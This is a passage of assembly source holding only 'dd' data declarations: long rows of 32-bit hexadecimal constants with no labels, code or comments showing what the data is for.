dd 81AC5149h, 2D2CFF37h, 3E07253Eh, 0D5A88DA1h, 3EA9C4FCh
dd 0FE40B116h, 9D216F56h, 14E01BB4h, 85FCD72Fh, 0A77E0E0Bh
dd 440205F4h, 0D3F98AB3h, 6DE2DA53h, 64E85E33h, 25AB3BFBh
dd 0E6459501h, 19FEEE57h, 36C382B9h, 0DB5106AEh, 1975773Dh
dd 7B326FE4h, 82C778F3h
dd 64C08A03h, 26F27989h, 156B2F1Ch, 1EBED55Bh, 0F18313ABh
dd 0AE596820h, 7DA6E9Bh, 84309DD9h, 3FCF7F4Fh, 279EEB9h
dd 0C1F915DEh, 0DD2FAE63h, 584BA3C0h, 0A9B18769h, 920BCEA1h
dd 0EABB27E3h, 7205572Bh, 156B3009h, 0FC13F89Ah, 43403ED1h
dd 43C27A90h, 61F9D312h, 5E78F26Dh, 9F2C20CBh, 0CF962AD1h
dd 0ABAF3DA3h, 6B6B4A50h, 97FA8351h, 0F74BF096h, 0D30CDBE1h
dd 0A622D073h, 0D900AD93h, 27DB6E15h, 1C626E4Dh, 0ECAF556h
dd 0F58756F8h, 4F184DB5h, 554CA14Eh, 644791ACh, 678359B4h
dd 71342B47h, 8C2A9DAh, 84BC467Eh, 2003DB17h, 93EFDDEDh
dd 27373823h, 0B31E114Eh, 696B2FF4h, 8B2AA403h, 3409A92Ah
dd 0F938F73Dh, 4CA500D9h, 22DD217h, 0AD2103A4h, 6A2BAAB6h
dd 2E0DCD5Ch, 0C2E3FBC6h, 88AB1439h, 0FAA743F0h, 0EC053381h
dd 4A46C0AAh, 19108C83h, 0C9E75225h, 4EB6CF80h, 14C6C74Dh
dd 0E83DF56Eh, 0F60812FBh, 51E143F0h, 86D1CB06h, 0C2B36995h
dd 8216FE99h, 0EF9BA197h, 0E94EF960h, 89F44696h, 0EBC257A9h
dd 0BB156FFBh, 0E9D7EC9Ah, 18F4AB70h, 1536F541h, 0F9A646D9h
dd 0E7819F67h, 12D71DBDh, 94A4E5ACh, 0DA690916h, 1D26E914h
dd 4059D284h, 0DFD80105h, 2CBA4BCCh, 0B3D689FCh, 87A41138h
dd 857EC261h, 0A0298A01h, 93AF6B0Eh, 0AA00F4EDh, 96368AC5h
dd 0C8FBD001h, 48479B5Dh, 0B0652F49h, 0DE9AE658h, 91B3BE0Dh
dd 2B8038CEh, 4AFBDEBFh, 0D83097Ch, 0CE8BC823h, 0BBD8C5EBh
dd 1C2738Ch, 310F536Bh, 0BC73E372h, 7CA50159h, 34395DCEh
dd 92888D57h, 67C2FB48h, 66F1007Fh, 0C655F3B9h, 0C0034AB8h
dd 0AF4FA1E9h, 0BE322D99h, 0F2F37BBDh, 692A5E7h, 3ECCBFF7h
dd 0D12B14ACh, 713721ADh, 75C396ADh, 0ADF4CA21h, 7C4BB20Ah
dd 2F55ACDBh, 0D54D68AAh, 0BE16CFDDh, 0CA8520BEh, 0C8C67703h
dd 0A3265279h, 0DAAD670Dh, 0A5FF4BB1h, 474EC566h, 4CE25249h
dd 92259488h, 6280021Ch, 58B798E7h, 0D92FACBFh, 3CCBD5D9h
dd 1B204CD3h, 0F1D28E4Dh, 0CA1F6F5Ah, 5843B99Fh, 0EDD7E45h
dd 90133155h, 32596B2Bh, 0E5FC566Bh, 0A1695AF5h, 90D00977h
dd 0C3B5EB52h, 7F99046Dh, 55B4A3Dh, 0BC62688Eh, 1F4156A8h
dd 0B14DBC35h, 937D8684h, 0ED88ED83h, 921F8625h, 3823C6A9h
dd 61C3CFB2h, 5E570B92h, 0D9AC62D0h, 9202B000h, 6BD72E1Dh
dd 34F7309Ah, 5CD2DE3h, 0A0A7AAFAh, 663080B7h, 0C32BCB76h
dd 90ED436Fh, 7029FA72h, 75E7F8B0h, 715351D8h, 871F7D04h
dd 0A9AEFCFEh, 7F7878B4h, 28B380CAh, 557FCF27h, 651DACFBh
dd 93C20466h, 0B18BAB52h, 5862579h, 6C00C0DEh, 0ACBAD14Bh
dd 7F245F07h, 0C042CBA6h, 46E0D04Dh, 75EDE8A6h, 4E77219Eh
dd 7513659h, 6BEE8C91h, 0D37CC71Fh, 4897671Bh, 3143BF40h
dd 3A07955Fh, 5DE7063Eh, 35666552h, 14AA4D59h, 6CFF36FFh
dd 65EE33Dh, 231128D2h, 4F2BD9C0h, 763E0098h, 7CD12F88h
dd 89BCD274h, 90DA8E67h, 92E88F07h, 0EA88D25Ah, 1AEED427h
dd 0A80C75ACh, 2CFB49F0h, 39A9DF36h, 8943241Eh, 0AECC45BCh
dd 0B3D11A16h, 4D4C0A3Dh, 0F90EC926h, 0E054560Eh, 7647ED9Eh
dd 0D0E5BA40h, 47AC9137h, 7F4F187h, 63BAFEDAh, 337D67D1h
dd 8FD18D0Ah, 76D31D53h, 50597787h, 0A535985Bh, 0FD3FDE5Ah
dd 183ADD37h, 0B33F4D7Ah, 1658A879h, 37438EF4h, 0BEB87D25h
dd 76DDC3DAh, 2134818Bh, 0F62678C6h, 0A2295BEAh, 7000CEB3h
dd 2B2B599Fh, 0D052FBFEh, 8CF40F9h, 0F950645Ah, 0C5B4DB6Fh
dd 7B588E41h, 59CAD8ADh, 0A0AE664Eh, 488D31BAh, 954CBEE7h
dd 7D125F88h, 1269BF2Bh, 2C5F0FFFh, 5D84A812h, 3C3DD183h
dd 0E2F851A3h, 37A78350h, 0E52AC256h, 69ADA98Ch, 8A5302A7h
dd 0C04A8125h, 3A83A92Ah, 37E3B2E9h, 9928D169h, 417C29DCh
dd 0D3041AA9h, 26B93F4Ah, 0F09B5386h, 0A2F16457h, 45CB4BA7h
dd 89C051D7h, 1BA97A6Bh, 48ACBD30h, 6E35957Fh, 0E4DE13A4h
dd 17A4E22h, 490C6A21h, 217146B0h, 0AB57E388h, 0F978CA27h
dd 6E4122A5h, 0C9B0E1B7h, 0E85BE941h, 0BEF3245Fh, 54BF0E26h
dd 318B4DFAh, 1DD1853Eh, 0F7027A71h, 0A8736D07h, 0FEA6E4F5h
dd 62DB938Ah, 8E439D86h, 763F2098h, 914A81F2h, 165078E1h
dd 0EA646E92h, 55C1DCDFh, 5E3499EDh, 0C6CE9ED0h, 636F6B30h
dd 9B933631h, 6CEB159Ah, 411D8896h, 9DEE0AC5h, 0B6F71009h
dd 4E51E0B6h, 64E52B27h, 61243654h, 2BE944F9h, 87480B1Ah
dd 0A20BF3E2h, 10FA072Ch, 10D1446Bh, 1465D729h, 87CBB5ACh
dd 2C28D3EBh, 0F9A42CC5h, 0E9062BD5h, 0C9485989h, 0EB9B40C3h
dd 5FC176EBh, 3930F731h, 2983E3A8h, 50502F22h, 0B57B4BA4h
dd 0BDBC41EFh, 0B16BB1DCh, 2C3BFF73h, 0E9290B31h, 9B9D70A1h
dd 0D486DF53h, 947D5A99h, 3E9D3E8Dh, 4463427Ah, 960EB77Bh
dd 0A7039BBh, 0D09B5FE4h, 54AFCB65h, 0A9B750AEh, 0E702B43Fh
dd 0B3C5965Eh, 0D4642EA8h, 0C090D586h, 58A3D41h, 3BEBA1D5h
dd 0BC070B9Ch, 0B25ACF73h, 71CE25B9h, 66ECD76h, 0D6A95EBEh
dd 147FDB42h, 591725D3h, 2A2A7C67h, 0B065A66Eh, 2F790237h
dd 524B828Fh, 701A9A86h, 0CCED3444h, 44986576h, 6F45EFEBh
dd 0A6ED9DD5h, 7D2858D3h, 0C4A51FE0h, 4EF65C9Ch, 3C79C6DCh
dd 3E81F263h, 0BEF787D4h, 2424A6C0h, 0AEB80326h, 4EE0CE0Dh
dd 9273DC84h, 0C8CA6272h, 0D7E8E759h, 0F117BBD1h, 624D958Ah
dd 3AF95D90h, 97CFE5F1h, 0B35F134h, 0AFB83869h, 34656BB4h
dd 3E67086Bh, 0E92D190Bh, 0A5033D13h, 0FEDF9A3Ah, 0DD4E4FADh
dd 0B0A8BBC4h, 3AB11D1Ch, 0A3CCB51Fh, 890EA968h, 85D54593h
dd 0BD881979h, 65BC64BBh, 28817E37h, 3203169Dh, 71236B4Eh
dd 4CB4D930h, 0E9DD1D3h, 0D04C426Dh, 38E2EAAEh, 0B8E828F5h
dd 299863E6h, 35DC1E6Fh, 98461080h, 4509A56Bh, 165D7553h
dd 97DA0AF3h, 5806C6F6h, 22985F83h, 136733C9h, 42B59D60h
dd 32F10491h, 0D36290B4h, 36AF3D10h, 6498D369h, 8E39174Ch
dd 4A05BA35h, 0EFAE9E63h, 304B8CD5h, 4CDE8EB1h, 0F1684F52h
dd 93C18F34h, 96B72E11h, 0C14E1BB6h, 4A7A2317h, 8F38A8Dh
dd 0D8091446h, 3ABE34F7h, 80B3850h, 13CCD562h, 2033507Dh
dd 5CB1A9FCh, 324E938Ch, 92075809h, 0B54240F7h, 1A4A504Ch
dd 2E791D85h, 0AF99D2C0h, 81C3EC14h, 0B32C290Ch, 0D6A109Ah
dd 0BCFD7EA6h, 0E643B7FEh, 0F6C30E90h, 5904C12Dh, 1ECE6DDAh
dd 1626D665h, 0FB40BCDAh, 0B5AB1DC0h, 193B58A5h, 0B838BAE5h
dd 0E3319397h, 22D2DF7Bh, 6AA01392h, 0CF7CE288h, 0DF77B46Eh
dd 0E42B844Ch, 75610A96h, 23A7DD58h, 0D20D2D69h, 0E1D0D0B6h
dd 17389F62h, 2C40E3F1h, 458A24D0h, 77C22130h, 4E4C3887h
dd 7EAAB8A8h, 0A74519DBh, 0CA308FFFh, 610564C1h, 0A11EE7C3h
dd 0EC4F0C5Dh, 0ACC0408Bh, 9D08B00Dh, 0C47F4ECAh, 10E13525h
dd 0DD7E8D3Ah, 0AE4B78CBh, 0B4B504CDh, 0D903CDB1h, 86D78B91h
dd 9A56FE6Dh, 0D3644494h, 7F3231CCh, 0FE2BEAE3h, 26E4D316h
dd 3055B399h, 7208E296h, 93552433h, 53325820h, 9CE09FF0h
dd 3F3971C9h, 9885EE86h, 812AEDB6h, 7E794733h, 0A6AFF2DDh
dd 0D44DE72Ch, 0B4FB2E88h, 0FE675E54h, 0AF870FCEh, 86ED3D17h
dd 0F75C111Dh, 9C2B33Ah, 55382F41h, 34E14F15h, 0AE46FEA2h
dd 0E0C10DD5h, 0F970008Ah, 0F296B48Bh, 0AA928448h, 32C4402Ah
dd 86A8664Bh, 0FEFC155Fh
dd 3ED8E44Eh, 0B466FF90h, 0B2E49234h, 430C4A7Fh, 0DBFBFB41h
dd 411B4006h, 0B860CEC8h, 0D21FF4FAh, 0B2C46C65h, 0E8857613h
dd 5BFC291Fh, 449050BCh, 83749372h, 0AFF358Fh, 9728155Ch
dd 0F8C1353Ch, 0D1F70796h, 4313B6A2h, 8674D362h, 4AC3E6E9h
dd 67E0E0EBh, 623C490h, 6760CD03h, 0DD67E4FBh, 33413B51h
dd 278FDE0Dh, 0B0482962h, 0B8504A6Dh, 0ACC92135h, 1526804Bh
dd 16E28BAEh, 0A8F2C6EAh, 0A9E64DF6h, 3EA6BB31h, 6637D95Bh
dd 0AA3959DEh, 0B7FA59DEh, 509E6C46h, 14D5E267h, 0B67626AAh
dd 1024FBADh, 663DC3Dh, 0B03197F9h, 6711F6B2h, 1DBDAD87h
dd 40F381DBh, 0E997C1AEh, 225885A4h, 392FD47Eh, 0E79EBC2Fh
dd 5DE0CB49h, 8B310271h, 5EECAB12h, 0DADB75E1h, 499A95AEh
dd 0F218112Ah, 3084AE12h, 0AB05B648h, 9AC49012h, 9BA06F22h
dd 98BF3BBAh, 81F35BC0h, 20024981h, 2CCDB048h, 0CF4DBC19h
dd 0D8BC928Eh, 6F6B28FBh, 0BE106029h, 20AEE452h, 139C89EEh
dd 0ECB0E209h, 2291C016h, 0E41B3425h, 90BD4A00h, 53582A4h
dd 0DBF89666h, 0DC926929h, 25B8894Bh, 476BFBDh, 0E6CA6F09h
dd 0D606622Fh, 0D5094F84h, 487175FAh, 7CBBA8C2h, 0D89A320Eh
dd 0C9F37898h, 1181F52Ah, 1334C93h, 3A8A7FC8h, 0EC00B746h
dd 44D7AF83h, 50A032EFh, 57E179C9h, 67A34A55h, 0F7809634h
dd 7D4DDBFAh, 5B88A70Ah, 0C77DA726h, 0A126E92Bh, 0A61CFCBh
dd 0CC95A8FBh, 22FB2CEDh, 0E880BE8Ch, 0ED7F4E2Ch, 329EB70Ah
dd 0F6A05503h, 0CEFBAEAAh, 4F869C63h, 0C93E9665h, 0F6C8F8FCh
dd 0B77E05E0h, 0C8A467CFh, 425A97C8h, 83322CA9h, 0A3006DE9h
dd 0EF9B2016h, 0CA7D28E4h, 8C9EFB95h, 0E0D30322h, 22AB0Ah
dd 3E023A51h, 5402CBAAh, 0B22B78Fh, 1E42CD8Fh, 578E0940h
dd 270EC177h, 0BEEC9478h, 1E4C382h, 737FCDADh, 70C9E1EDh
dd 1FDB4C3Ah, 81DA8A02h, 0E1086A99h, 0CB41AA3Fh, 0A7CE608Ah
dd 5F0AFE62h, 1DCEBB62h, 1E08FE27h, 0A41F6FD0h, 0F9BAF8h
dd 6D812BCCh, 0EE9744B1h, 676F9A68h, 133A7823h, 70E3530Ah
dd 0B68C4361h, 720912C3h, 0EC3A89B3h, 0FE708AD6h, 2B473A6h
dd 22A73A78h, 58C5E3Ah, 0EA2441D3h, 30461AFEh, 7C033797h
dd 0D54BC45Bh, 5E76F4A2h, 37417819h, 0D16F3304h, 8BC3A921h
dd 0B1888466h, 2F9B50F2h, 2706B214h, 0E6D912FBh, 86D5252Fh
dd 907EA70h, 0A67C958h, 0F6C18954h, 0DCFFCB61h, 0DD4F6ADBh
dd 0D4A37F64h, 763DEFEFh, 85D288D7h, 7BAF67A0h, 163A837Ch
dd 2C0A5DB0h, 0B01A17EBh, 0B53D8E8Dh, 550ECAF1h, 99F3CAAh
dd 8ED617FFh, 854ACACCh, 0E388B908h, 0C79CF79Dh, 76D6158Ah
dd 0CE784EA3h, 0E9B78E84h, 95A40D83h, 4AB98383h, 6F1FA0B1h
dd 0B6B73FCCh, 34FCE8A9h, 0C59D1CF7h, 13689932h, 4CA27BF1h
dd 0F1753C4Fh, 5382A3F1h, 0BFBDE03Eh, 0A86E46B7h, 46DB1819h
dd 15685759h, 43C57EA9h, 0FDE6EEA8h, 0DC6B678Dh, 1AF21ED4h
dd 0EF4355CDh, 0D142DA74h, 8E936ED1h, 0A65F2645h, 4A92FDA5h
dd 0E408737Ah, 218C6BC2h, 0ED914B04h, 84DD1EFFh, 68A7D209h
dd 0F5AE3BC5h, 5C809E0Ah, 83CBCBBCh, 20251E0Ah, 495A739Eh
dd 5C073D05h, 0E74A8FE9h, 0B34214E7h, 0F6FECB6Ah, 7AD3F91Ch
dd 8F7CC482h, 0FC333F78h, 2E39C3h, 0DA1CB7B3h, 13B8E0BEh
dd 0E7FA74D2h, 7AA7AA66h, 0DB334203h, 2136D2BFh, 729AF313h
dd 274DC147h, 6EBA0BE5h, 5F8A64AEh, 37A399DEh, 2CD08B52h
dd 0A9C6F423h, 1554CFCEh, 94C33828h, 6AA626EDh, 0AE2460Eh
dd 396C29CAh, 0CB8D0226h, 54013C02h, 535739B6h, 3DEF9A84h
dd 20368E9Ah, 67A92F7Ch, 4176F09Fh, 76D544B3h, 0A5CFAE43h
dd 8716FF32h, 4C94A584h, 0D854BE9Bh, 64CF9BCh, 3F97AE16h
dd 53035306h, 0FF0394D9h, 0AD93CAF8h, 2D50D55Eh, 2CF73A18h
dd 0B5A025AAh, 0F7338C84h, 4E6C15A5h, 0FAB7D1E3h, 5C2B22Dh
dd 0F863A6A9h, 0ADDDF366h, 0D4AE9BADh, 796DDE76h, 0E4F35852h
dd 38F80B21h, 0D8000520h, 0CCF6359Bh, 0CC61F3C7h, 4FE474E3h
dd 5355160Ch, 0C6FE19F4h, 0C1414522h, 8A834F2Ah, 93CAC00Bh
dd 618F5A29h, 5789E338h, 0B8E4FC4Dh, 3DB15B30h, 63A8E6Fh
dd 2910599Fh, 199BEDC5h, 248AD18Fh, 0B94861ECh, 30F45567h
dd 76FFBEF5h, 80E490C2h, 0EA144E74h, 6A2D148Fh, 6C6E0DFh
dd 169C1236h, 69B3A8EFh, 9639C31Eh, 0A5BBCD4Bh, 1F6D9874h
dd 0ECC1361Ch, 0BC96C8F9h, 7C0970C7h, 967FCD4Ch, 1D11ACBFh
dd 641D6215h, 623A743Ah, 0CE600ED3h, 0BE9FACD0h, 0BBEF3E45h
dd 456E608Fh, 0BC72F583h, 0DD98B4E4h, 8D1C94DDh, 0A8091D6Bh
dd 93225933h, 0FEB0B4E0h, 28438994h, 0F4EA9E9Dh, 97B8A6C1h
dd 55CA65B8h, 0D5704B4Dh, 6A018C6Ah, 0BE6656D6h, 21A05F0Ch
dd 0DFA641A6h, 0C1525973h, 973826Ah, 0BB01BEC7h, 8268A8DEh
dd 3A520F95h, 0EEF53879h, 0AAE04CB4h, 64957F77h, 0BB720839h
dd 8D66729Ah, 0D42645C1h, 3560CC54h, 0A7A9074Dh, 96818E23h
dd 5B318407h, 0EF3C3494h, 0FADA745Ah, 0FD49D41Dh, 38586DC4h
dd 5EA5A29Ah, 9DCFBB0Ch, 2B8C3675h, 7C7DA4C4h, 7E6BD09Dh
dd 3FFC0484h, 0A2E8FBE7h, 343B17E6h, 5D327B6Ch, 61F53AD0h
dd 0AA3F5D35h, 67B4C9B5h, 286688DDh, 63F70CF3h, 9DE9E3EDh
dd 784490A7h, 2F43D2E8h, 3D0E9E2h, 4C637C81h, 0DC91D40Ch
dd 0EE279592h, 5176C89h, 0D713203Bh, 137FBF36h, 0B9F121FEh
dd 0F6E94B8Bh, 45AFF09Bh, 9FA0A1DAh, 29E74ADh, 79AAA2FBh
dd 25084839h, 53618865h, 9CB6FBECh, 0BCE03F6h, 0C52ECD6Dh
dd 0E1BA6EE1h, 65122AB7h, 822C8506h, 0E36650D3h, 0DC17C461h
dd 76F84F94h, 5C2C4587h, 170B7E32h, 9EB89A1Dh, 186BC5BAh
dd 508785A7h, 0A9852002h, 0CCF10789h, 3E886029h, 2E5BF26Ah
dd 0F1CF6F02h, 0BF12EE09h, 5FE9023Bh, 98F0831Ah, 68AA2C52h
dd 6BB3281Dh, 8204E5A4h, 971FCA7Fh, 0B6C44AD3h, 9A62C15Ch
dd 51E4196Ah, 867B9FEAh, 0B86D8976h, 0BABDAFDAh, 0C3540EBh
dd 1535EC17h, 0EBBF0170h, 0C721D25Dh, 934ACCB5h, 4290574Bh
dd 7F4A85CDh, 0DF38108Fh, 0B47AC866h, 8AAAF256h, 0BD565BD9h
dd 0A5F1F54Eh, 63ED4AFDh, 9AA8EC36h, 7B24B01h, 0CDC7F0F8h
dd 35AE3E3Ch, 5D00DF23h, 303381ECh, 0C400613Dh, 0F359D9E2h
dd 0A837B405h, 78915B83h, 0B4B18E99h, 51B56B9Bh, 0A7249EE7h
dd 634E0BA0h, 45AB725Eh, 0B28C3081h, 0EDF00199h, 278AE750h
dd 0F14D2B9Fh, 0E782E45Ah, 4D7BC164h, 85F03BE2h, 0CA352145h
dd 0D06704DCh, 779F31A3h, 0EFC97663h, 6DE7BE06h, 0AA905DC5h
dd 154E7643h, 38C47F7Ah, 0D85CB8D3h, 94F53BD7h, 26A16E04h
dd 0AFC46553h, 1E5E129h, 4393C532h, 4BEFE058h, 0D414FB95h
dd 87351C74h, 179CF4C4h, 0F01AB514h, 74E7771Bh, 0EB8360DBh
dd 0A41A4B86h, 38C8514Ch, 6CC97AB1h, 60B4ECE5h, 0E730CF42h
dd 6C6DBC07h, 3CDF7132h, 263ED873h, 0EB4661E6h, 36036993h
dd 7AFF2577h, 0D984D89Eh, 4DAD80D3h, 864F30EEh, 38E2EB8Eh
dd 0C8471D8Ch, 1096D6D9h, 98A08E51h, 9027927h, 91682E5h
dd 3C881DC6h, 0D44D2ED1h, 10F7013Ah, 55380D40h, 0ED4DBBB2h
dd 50AD1DFCh, 10D5FA49h, 5E59B644h, 0C2E99B14h, 0D6E83F9Ch
dd 9DF476CFh, 0EBF38EC2h, 4B34C8Eh, 3B8DCE2Dh, 6FAA8D0Bh
dd 8A8CEC10h, 896CC02Eh, 0A8567D51h, 34514FA5h, 4E09875Ch
dd 0FD533A9Eh, 12207F25h
dd 0B9E6B9CFh, 654EED2Bh, 0A22D0835h, 519527E7h, 93922C7h
dd 745FA8F1h, 93D3DAFEh, 0D9F63D3Ch, 74A332E2h, 0CABC95E4h
dd 0FB74A93Eh, 20C3BBDEh, 0D2CC89B6h, 0D7C0E5CFh, 8D699D54h
dd 4F51C795h, 0B973FA4Ah, 221F25B5h, 0C85BFD57h, 0A0E37C97h
dd 30956843h, 22679C60h, 8B0D9D4Dh, 4C63B2D2h, 157D0EB2h
dd 0BAC0FF26h, 44955E07h, 72168951h, 6B0FADACh, 4FDF6005h
dd 3D2CD535h, 480EA91Dh, 164ADCADh, 2C437264h, 654797AAh
dd 0A762FCB7h, 32E2E512h, 0A1917211h, 7BB554h, 0E44DC75Bh
dd 6BA9E25Fh, 9C4EC7BFh, 2CD6C9FBh, 0A07CEEF9h, 7E897AB4h
dd 0F28E9442h, 30190A4Fh, 6C5A800Dh, 7ACC3683h, 237723BCh
dd 54AC07B3h, 452B3CFAh, 6F394A97h, 5354275Dh, 0C1065F63h
dd 38D75FB9h, 0AC6825FDh, 840DA821h, 53EE6173h, 0DA090520h
dd 0EDFB24E3h, 79F25756h, 71FDC7D7h, 6E6949FAh, 0EA020DCCh
dd 0F93162CDh, 4D2952C7h, 0B0BA08B1h, 0B763F0F9h, 0EB71F0F2h
dd 9DDD519Fh, 311AD83Ah, 0DAF2DB8Ah, 0E0CE33C8h, 1871EDEh
dd 0EF3A5862h, 86514698h, 0E0FC2ED6h, 0C8E7A66Eh, 33658E54h
dd 93AC7474h, 0A13DC087h, 6B8920E2h, 2FF41495h, 0EAB50A7Ah
dd 4FE0BEC1h, 0AD5B1DBh, 27691048h, 0BAB60796h, 0B83A6157h
dd 6E4FC413h, 9845BA19h, 5E5E7641h, 9028912Eh, 0F9905947h
dd 0C17CA8ABh, 82A82739h, 65742E12h, 1C75D3A0h, 0F481918Dh
dd 0B301C759h, 47B5B7EBh, 8C833259h, 2AFBF39Ch, 74ABAEAAh
dd 3B4BE730h, 0CD9E41B8h, 1A66D976h, 8860BC63h, 2DEB8380h
dd 7E50BDE2h, 0B385C8DBh, 0A8C5DC85h, 206789F8h, 61B13714h
dd 8CD1D7A1h, 38EEC9h, 555B5907h, 4B76A0BDh, 83D508A4h
dd 79CA5049h, 7B5B5706h, 5F38AC97h, 433D7B44h, 0D07F6F08h
dd 4513E34Ah, 294BAD12h, 13953300h, 6AC02103h, 70E12C05h
dd 0A5F28DA8h, 0A8961335h, 8C486C87h, 11B8B60h, 0D5363D64h
dd 0A707B522h, 0C837054Bh, 70E302E7h, 0AB896E99h, 621EFFF4h
dd 0F852439Bh, 751352F1h, 42DF83BAh, 0CAB41DFCh, 288E4D48h
dd 7B953A23h, 2FAB75BEh, 22956649h, 868AE299h, 3817E60Ch
dd 0AD649287h, 5C717847h, 0A18BAD78h, 3C193421h, 0A81EE70Bh
dd 8F1C7592h, 1514C680h, 6F9685C7h, 80878FF2h, 9A90B750h
dd 0ACA42721h, 2D49E188h, 333438BDh, 0F82B3E26h, 1CD9E66Ch
dd 8660B7A8h, 0DB9ED12Ah, 8F364A3h, 0FC0619D5h, 0D6D59DBEh
dd 222E9ED0h, 4BA26317h, 22A81BEBh, 253D1396h, 0A4AEB70h
dd 0BFEDAF87h, 2906E24Dh, 89C7A173h, 7256F50Bh, 0BEECCC08h
dd 4300D4BCh, 366E02D0h, 4026B9FBh, 43D16742h, 9D2626E9h
dd 1C10C6F8h, 0C158464Bh, 0E66FADD8h, 56AD1C6Fh, 94F0B22Fh
dd 203DE683h, 35B9E902h, 2EB8DCA0h, 0F9601035h, 228EAAE6h
dd 94E991AFh, 44C2F21Eh, 881C5B8Ch, 7228580Bh, 0D035421Ch
dd 0AE169710h, 3C61B187h, 8E8D1CCCh, 213F8F33h, 522AB476h
dd 0F2C52439h, 0E051BB94h, 798F0A2Fh, 8FB04429h, 3147AAA0h
dd 99930D50h, 0E4C8AB3Ah, 0BAD2B1EEh, 5847B2F8h, 0F2D0CF49h
dd 8592BB4Ch, 0AD8502C6h, 0E8984EE0h, 2E354606h, 0D41168Bh
dd 0CE912449h, 824AED68h, 0B2AA0079h, 9892D022h, 0B210FAADh
dd 9A0A317Ah, 0C0703161h, 0D37A980Ch, 28F59ACFh, 0E25BB31Dh
dd 0D14B9266h, 0ED85C593h, 78085A5h, 0B70685E4h, 4D28E80Eh
dd 4CB649A4h, 0BA5A5727h, 79100944h, 7A6498Eh, 67FFC23Dh
dd 0E887DB3Eh, 9329F5E5h, 0D92B903Eh, 0CE65F970h, 0A165501Eh
dd 0A3C0BADh, 0E05EBF97h, 99C5479Bh, 0FBF257B9h, 7CB9C7h
dd 30E2B440h, 47FEFD2Ah, 60DA0AA5h, 340E5CF3h, 6350C0DBh
dd 0C274116Dh, 1661B558h, 70FB1C41h, 66F2C391h, 69A437FCh
dd 19DB606Dh, 19F4B9B4h, 0C606A88Fh, 40ED1845h, 0DA5EE567h
dd 7DFC1F9Dh, 7693CBB0h, 0FFCEC248h, 316BF1F2h, 0C69B8213h
dd 0FF1CDCA0h, 0CE17BE6Fh, 42F7175Ah, 8A461054h, 0E9E203DFh
dd 8999A54Eh, 9D1E6F65h, 69C29AD1h, 254493F6h, 39BE7910h
dd 0E7E20CB4h, 0BBA46528h, 9FC54E3Eh, 0B58D63BCh, 0A278DBB4h
dd 2A177F5Fh, 0B1BB54BEh, 72622F47h, 1228B98Bh, 5F091412h
dd 77DBDEB3h, 97B9BE8Eh, 37C8202h, 11DED4F4h, 4775E75Dh
dd 1D77B8EFh, 86203581h, 763C503Ch, 0C3676486h, 0E253331Fh
dd 0BEE04B12h, 84F29B5Eh, 5A8DACF7h, 0ED8ACF76h, 0F518B85h
dd 0C14D3EDBh, 5B1ECA6Ch, 0AF171641h, 0C8AC49ECh, 0C82FB32Dh
dd 304066B8h, 0F242D850h, 9A371F13h, 0B9FEDD43h, 690F877Fh
dd 0D8E41BABh, 0F7C68FE3h, 0F3EBC102h, 0AEF925FEh, 484320B4h
dd 1210A3F7h, 0A3DDCFB0h, 216DAB74h, 19BA055Fh, 0BFCE8C11h
dd 0FFFB5ABBh, 812735E0h, 0B6C94200h, 0BE2B8D4Ah, 2AE7CCBEh
dd 1135384Ch, 0BE6FB995h, 0ACB3052h, 4E57700Ch, 4D243A2Ch
dd 2748916Dh, 639A9820h, 63BDF900h, 73C83C83h, 0B8FC11BDh
dd 0FBBC516Eh, 0E10631C9h, 0F7472259h, 786AC4F9h, 32B41AC1h
dd 58A862D6h, 3476288Dh, 7F33D387h, 0DEF7F7A0h, 2025257Fh
dd 2CEA54C0h, 0F1359FCFh, 0BF8AB8CFh, 0F225B350h, 6FF5A4E2h
dd 0D4FF3C46h, 3709AD45h, 0C1EF0587h, 5EC58030h, 0FB70ECADh
dd 0E5578697h, 6A8D8694h, 71FA4AE0h, 7973EE29h, 25E10EF2h
dd 4B3B122Dh, 0BE59FA4Dh, 0F20E1789h, 75ABD9A7h, 77ADE083h
dd 9DF30751h, 52398C8Eh, 0FF6A79CBh, 3CF77D41h, 7AC9291h
dd 0D351C0CAh, 0CD391D82h, 72C98FA9h, 4511B62Ah, 0EAB37F98h
dd 0C1745823h, 20E3F9DCh, 5DDFBEA9h, 674F931Fh, 0DCA1C7BAh
dd 21159C21h, 9E32F3ACh, 0C7AF3ABBh, 0BCD96856h, 0AE01E564h
dd 0AD394362h, 0C252B676h, 0BD49A13Ch, 904CA94Eh, 807905F0h
dd 1435D431h, 9127FD3h, 84C1A4D8h, 0AD483C8Dh, 0C61E91F9h
dd 37762CA7h, 34AB1ADFh, 39544D9Bh, 2981B886h, 8BDC9FF7h
dd 999ABBE3h, 0A650E603h, 2D2F772Ch, 416B7129h, 0C3A25D02h
dd 0B006D1C7h, 4A98D22Ah, 0C36899D0h, 0F03A241Ah, 0ED7A6583h
dd 0A9913D7Bh, 769186DDh, 0B9BCC387h, 1E82A9CEh, 0CE72E66Dh
dd 9445D0D9h, 87AFD46Ah, 0C829A724h, 0C2CDB388h, 288AEBFAh
dd 3DFBD857h, 84E2D6E2h, 438ABC7h, 36173219h, 8E345CA6h
dd 0DB026B77h, 125351F3h, 0E3091C93h, 0E0E73B45h, 0E319D455h
dd 94D48342h, 445E176Ch, 4C7EF9CCh, 0F768DE16h, 0E0D1417Dh
dd 0D297A36Ch, 69EEB79h, 0AD6CEA79h, 1E1D254Eh, 0EB84A9Fh
dd 0BADB2427h, 0CB58A9E2h, 94A017E0h, 0B48760B0h, 3D116C04h
dd 1084F6B7h, 41B48C4Bh, 97AB24AAh, 0AF4AC3E2h, 5B03098Ah
dd 5C2961B5h, 0B1C2A8E2h, 0CD137A4Ch, 0E8F55911h, 2F0CDC0h
dd 9AB07612h, 31565D46h, 23FC2461h, 98EFFFB5h, 6222207Bh
dd 18328080h, 0E3BE4241h, 0D85819C7h, 0D8DEB2DDh, 0CA135924h
dd 0EB918C5h, 0A122ED18h, 79B3339Bh, 3DCA2C7Ch, 24AFFAF9h
dd 81301D4Bh, 0F0E15D11h, 0E05C1C13h, 0DFF297B7h, 0A28FC4EFh
dd 0DDE667EEh, 0DEADCFC6h, 3B1157F7h, 5BB683C8h, 0D7272404h
dd 31A69556h, 0D2A7C9E9h, 0A02295D0h, 0F70A25BEh, 0D7030597h
dd 14491A33h, 500F9035h, 83FFE55Ch, 2223E5C8h, 8A55B905h
dd 3FA1604Fh, 95293EB5h, 4056CF8Dh, 5DBEFAEAh, 7F24DBEBh
dd 6F9E78C1h, 0CA62EF13h, 0EE63C3BCh, 0B75C8E81h, 2618A801h
dd 6B962988h, 0FA0A6149h, 0E7FF6E1h, 0E1320F89h, 61B9F130h
